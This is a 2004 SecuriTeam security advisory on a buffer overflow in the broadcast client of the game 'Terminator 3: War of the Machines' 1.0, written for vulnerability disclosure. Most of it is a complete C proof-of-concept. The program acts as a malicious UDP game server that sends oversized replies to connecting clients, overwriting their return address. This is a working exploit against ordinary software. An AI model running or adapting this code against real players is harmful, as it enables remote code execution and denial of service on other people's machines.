[NT] Terminator 3 Broadcast Client Buffer Overflow
From: SecuriTeam (support_at_securiteam.com)
Date: 03/23/04
- Previous message: SecuriTeam: "[REVS] Analysis of the Exploitation Processes"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 23 Mar 2004 20:39:04 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Terminator 3 Broadcast Client Buffer Overflow
------------------------------------------------------------------------
SUMMARY
" <http://www.t3war.com> Terminator 3: War of the Machines" is a
multiplayer FPS game developed by <http://www.clevers.com> Clevers and
based on the homonym Swarzy's movie. A vulnerability in the broadcast
client enables a remote user to run arbitrary code on the victim's
machine.
DETAILS
Vulnerable Systems:
* Terminator 3: War of the Machines version 1.0
Vulnerable Code:
The vulnerability is in the broadcast server, affecting all the clients.
Every time a user enters in the multiplayer menu, the game contacts the
master server and then each online server automatically. The bug happens
during the following code:
char ServerInfoTemp[200];
...
for (int i = 0; i < strlen(ServerInfo); i++) {
ServerInfoTemp[i] = toupper(ServerInfo[i]);
}
The vulnerable instructions in the executable of the pre-release demo are
the loop between 004953d4 and 004953fe.
The string ServerInfo contains the server's IP and port and all the values
in the server's reply. The string is then put into a new smaller buffer
(ServerInfoTemp) to convert the chars to upper case.
The effects of this vulnerability are the usual 2 known problems:
* Automatic buffer-overflow (here with the upper-case limitation)
* Network Denial of service, nobody can use the game online
Vendor Status:
Developers promised a patch a lot of times (for 3 months) but it has not
been released yet.
PoC:
The PoC code requires
<http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html> winerr.h
//t3cbof.c
/*
by Luigi Auriemma
UNIX & WIN VERSION
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif
#define VER "0.1.1"
#define BUFFSZ 2048
#define PORT 60005
#define GAMEVER "800" // 800 = pre-release
// 850 = retail version
#define RETADDRLAN "\xde\xc0\xad\xde" "\0"
#define RETADDRINT "\xde\xc0\xad\xde" "\0" GAMEVER"\0" "0\0"
// | |
// | final NULL byte
// return address
// remember that the chars a-z will be converted by
// Terminator 3 in upper case (A-Z) so if the return address
// is composed by chars as "xxxx" it will become "XXXX"
u_long get_my_ip(struct sockaddr_in peer);
void std_err(void);
int main(int argc, char *argv[]) {
int sd,
on = 1,
pcklen,
len,
psz;
u_long ip;
struct sockaddr_in peer;
u_char *buff,
pcklan[] = /* LAN PACKET */
"\x00\x00\x00\x00\x00"
"hostname\0" "test\0"
"gamever\0" GAMEVER"\0"
"gametype\0" "0\0"
"numplayers\0" "8\0"
"maxplayers\0" "32\0"
"mapname\0"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
pckinternet[] = /* INTERNET PACKET */
"\x00\x00\x00\x00\x00"
"test\0"
"8\0"
"32\0"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
*pck;
setbuf(stdout, NULL);
fputs("\n"
"Terminator 3 1.0 broadcast client buffer-overflow "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
printf("\nThe game version in use (#define GAMEVER) is %s\n"
" 800 exploits only the pre-release demo version\n"
" 850 exploits only the retail 1.0 version\n"
"\n"
"To change this game version modify the source code\n"
"\n", GAMEVER);
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
peer.sin_addr.s_addr = INADDR_ANY;
peer.sin_port = htons(PORT);
peer.sin_family = AF_INET;
psz = sizeof(peer);
printf("\nBinding UDP port %u\n", PORT);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
< 0) std_err();
if(bind(sd, (struct sockaddr *)&peer, psz)
< 0) std_err();
buff = malloc(BUFFSZ);
if(!buff) std_err();
printf("The return address will be overwritten with 0x%08lx\n"
"\nWaiting clients:\n", *(u_long *)RETADDRLAN);
while(1) {
pcklen = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer,
&psz);
if(pcklen < 0) std_err();
if(pcklen < 16) {
fputs("LAN (", stdout);
pck = pcklan;
len = sizeof(pcklan) - 1;
} else {
fputs("INTERNET (", stdout);
pck = pckinternet;
len = sizeof(pckinternet) - 1;
}
// I consider 5 chars for the default 60005 port (faster)
// The string built by the client contains also
// the server IP address that modifies its length
ip = get_my_ip(peer);
if(!ip) printf("\n- Alert: I'm not able to know your local IP
address so the return address on the remote client will not be correctly
overwritten with 0x%08lx\n", *(u_long *)RETADDRLAN);
len -= printf("%s", inet_ntoa(*(struct in_addr *)&ip));
if(pcklen < 16) {
memcpy(pck + len, RETADDRLAN, sizeof(RETADDRLAN) - 1);
len += sizeof(RETADDRLAN) - 1;
} else {
memcpy(pck + len, RETADDRINT, sizeof(RETADDRINT) - 1);
len += sizeof(RETADDRINT) - 1;
}
printf(") %15s:%hu\n",
inet_ntoa(peer.sin_addr),
htons(peer.sin_port));
memcpy(pck, buff + 2, 5);
if(sendto(sd, pck, len, 0, (struct sockaddr *)&peer, psz)
< 0) std_err();
}
close(sd);
return(0);
}
/* IMPORTANT */
/* Please contact me if you know a better method to know */
/* the local IP address that has received the UDP packet */
u_long get_my_ip(struct sockaddr_in peer) {
int sock,
psz = sizeof(peer);
#ifdef WIN32
OSVERSIONINFO osv;
int i = 0;
u_long ip;
struct hostent *he;
char hostname[256];
osv.dwOSVersionInfoSize = sizeof(osv);
GetVersionEx(&osv);
if(osv.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) {
if(gethostname(hostname, sizeof(hostname) - 1)
< 0) std_err();
he = gethostbyname(hostname);
if(!he) std_err();
while(he->h_addr_list[i]) {
ip = *(u_long *)he->h_addr_list[i];
// class C, it is a workaround for Win9x
// only so for the moment it is enough
if(ntohl(ip ^ peer.sin_addr.s_addr) < 0xff) break;
i++;
}
return(ip);
}
#endif
sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sock < 0) std_err();
if(connect(sock, (struct sockaddr *)&peer, psz)
< 0) std_err();
if(getsockname(sock, (struct sockaddr *)&peer, &psz)
< 0) std_err();
close(sock);
return(peer.sin_addr.s_addr);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
ADDITIONAL INFORMATION
The information has been provided by <mailto:aluigi@altervista.org> Luigi
Auriemma.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[REVS] Analysis of the Exploitation Processes"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|